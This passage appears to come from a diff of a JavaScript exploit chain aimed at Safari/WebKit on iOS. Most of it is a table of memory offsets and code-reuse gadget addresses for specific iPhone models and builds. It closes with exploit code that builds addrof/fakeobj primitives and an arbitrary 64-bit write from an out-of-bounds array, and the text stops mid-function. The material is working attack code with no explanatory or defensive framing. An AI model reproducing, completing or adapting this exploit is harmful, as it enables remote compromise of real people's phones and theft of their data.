0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fc3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26a66c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,3_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fbfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x26a01c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f11c2ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec17e8n, + libGPUCompilerImplLazy_cstring: 0x23c00b870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,4_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fbfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x26a01c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f11c2ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec17e8n, + libGPUCompilerImplLazy_cstring: 0x23c00b870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,5_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadf280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadf1e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadf230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ec348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9becb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be8b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be978n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257fb7e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ef18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda63178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6bcb8n, + WebCore__initPKContact_value: 0x1eda6bcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda600c0n, + __pthread_head: 0x269d78020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5a90n, + gadget_control_1_ios184: 0x23f1142ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f281150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d255da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfce16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218adf820n, + libGPUCompilerImplLazy__invoker: 0x23ceb97e8n, + libGPUCompilerImplLazy_cstring: 0x23c003870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8caf58n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d2a4000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ca1c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone13,4_22B91": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1e6df7e80n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1e6df7920n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1e6df7880n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1e6df78d0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1e6df6cc8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1ea82a9c0n, + AXCoreUtilities__DefaultLoader: 0x1e4effca0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1e79dfc38n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ab282294n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ab282404n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ab221624n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ab221c38n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ab222254n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ab221d74n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e1bea920n, + DesktopServicesPriv_bss: 0x1e61c0f08n, + Foundation__NSBundleTables_bundleTables_value: 0x1e6c0c088n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1e5061658n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x2652ae278n, + HOMEUI_cstring: 0x1831a7feen, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x1887e787cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1e6cda918n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1e6cda5d8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1e6cda5e0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1e6cda5e8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1e6cda4d0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1e6cda5f0n, + ImageIO__gImageIOLogProc: 0x1e7a69e90n, + JavaScriptCore__globalFuncParseFloat: 0x19a5a7e50n, + JavaScriptCore__jitAllowList: 0x1e6e44290n, + JavaScriptCore__jitAllowList_once: 0x1e6e44108n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1b9bd5c40n, + PerfPowerServicesReader_cstring: 0x25441be10n, + RemoteGraphicsContextGLWorkQueue: 0x1e6d72b58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b566850n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b57a9b8n, + Security__gSecurityd: 0x1e4dd4268n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1e709e068n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1ea212070n, + WebCore__PAL_getPKContactClass: 0x1e6d77108n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1e6d84960n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1e501a670n, + WebCore__initPKContact_once: 0x1e6d7f1a8n, + WebCore__initPKContact_value: 0x1e6d7f1b0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1e6d7db10n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1e6d7db08n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1e6d7daf0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1e7be3778n, + WebProcess_ensureGPUProcessConnection: 0x1985cb554n, + WebProcess_gpuProcessConnectionClosed: 0x198e7c1ccn, + WebProcess_singleton: 0x1e6d74270n, + __pthread_head: 0x264f78028n, + dyld__RuntimeState_emptySlot: 0x1a8813b9cn, + dyld__RuntimeState_vtable: 0x1eb7b50d8n, + dyld__dlopen_from_lambda_ret: 0x1a87fc6a8n, + dyld__signPointer: 0x1a88376f4n, + emptyString: 0x1984fd6f0n, + free_slabs: 0x1e6cc6ab0n, + gadget_control_1_ios184: 0x181f7b2c8n, + gadget_control_2_ios184: 0x1ac7c5ac4n, + gadget_control_3_ios184: 0x21d0cdfe8n, + gadget_loop_1_ios184: 0x1866e8978n, + gadget_loop_2_ios184: 0x20b2e2184n, + gadget_loop_3_ios184: 0x184ebcbe8n, + gadget_set_all_registers_ios184: 0x1852c5854n, + jsc_base: 0x1995e4000n, + libARI_cstring: 0x2166c2820n, + libGPUCompilerImplLazy__invoker: 0x24c03656cn, + libGPUCompilerImplLazy_cstring: 0x23a458870n, + libdyld__dlopen: 0x1ac7c9338n, + libdyld__dlsym: 0x1ac7c9138n, + libdyld__gAPIs: 0x1e68c0000n, + libsystem_c__atexit_mutex: 0x1e6beba70n, + libsystem_kernel__thread_suspend: 0x1d31dbb90n, + libsystem_pthread_base: 0x20b320000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1e6bea708n, + mainRunLoop: 0x1e6e48028n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x0n, + pthread_create_offset: 0x8f6cn, + runLoopHolder_tid: 0x1e6e42d88n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + } +}; + + +function sleep(time) { + return new Promise((resolve) => setTimeout(resolve, time)); +} +var globalFuncParseFloat = 0n; +var maximum_id = 0n; +const wait_for_jit_compilation_ms = 1100; + +class check_attempt { + constructor() { + this.overlap_array; + this.overlap_idx_in_oob_array; + this.oob_array; + this.read32; + this.read64; + this.write64; + } + + stage1() { + this.overlap_array[0] = {}; + let overlap_array = this.overlap_array; + let overlap_idx_in_oob_array = this.overlap_idx_in_oob_array; + let oob_array = this.oob_array; + + function addrof(object) { + overlap_array[0] = object; + return BigInt.fromDouble(oob_array[overlap_idx_in_oob_array]); + } + function fakeobj(addr) { + oob_array[overlap_idx_in_oob_array] = addr.asDouble(); + return overlap_array[0]; + } + + let junk0 = new Array(4).fill(1.1); + junk0[0] = 1.1; + junk0[1] = 1.1; + let scribble_element = new Array(4).fill(1.1); + scribble_element[0] = 1.1; + scribble_element[1] = 1.1; + let results = new Array(2).fill(1.1); + results[0] = 1.1; + results[1] = 1.1; + let change_scribble_holder = { p1: fakeobj(0x0108240700006000n), p2: scribble_element }; + let change_scribble = fakeobj(addrof(change_scribble_holder) + 0x10n); + for (let i = 0; i < 2; i++) { + let a = i == 0 ? change_scribble : junk0; + results[i] = a[0]; + } + change_scribble_holder.p1 = results[0]; //now we have a valid structureID + + scribble_element.p3 = 1.1; + scribble_element[0] = 1.1; + + let double_array_cell = BigInt.fromDouble(change_scribble[0]); + change_scribble_holder.p1 = fakeobj(double_array_cell); + const original_cell = change_scribble[0]; + + function write64(addr, value) { + change_scribble[0] = original_cell; + change_scribble[1] = (addr + 0x10n).asDouble(); + + if (value === 0n) { + scribble_element.p3 = 1; + delete scribble_element.p3; + } else if (value < 0x2000000000000n) { + scribble_element.p3 = fakeobj(value); + } else if (value <= 0x7ff2000000000000n || value >= 0x8002000000000000n && value <= 0xfff0000000000000n) { + scribble_element.p3 = value.sub(0x2000000000000n).asDouble(); + } else { + let off_addr = addr.add(8n); + let off_val = read64(off_addr); + let [hi, lo] = value.asInt32s(); + + 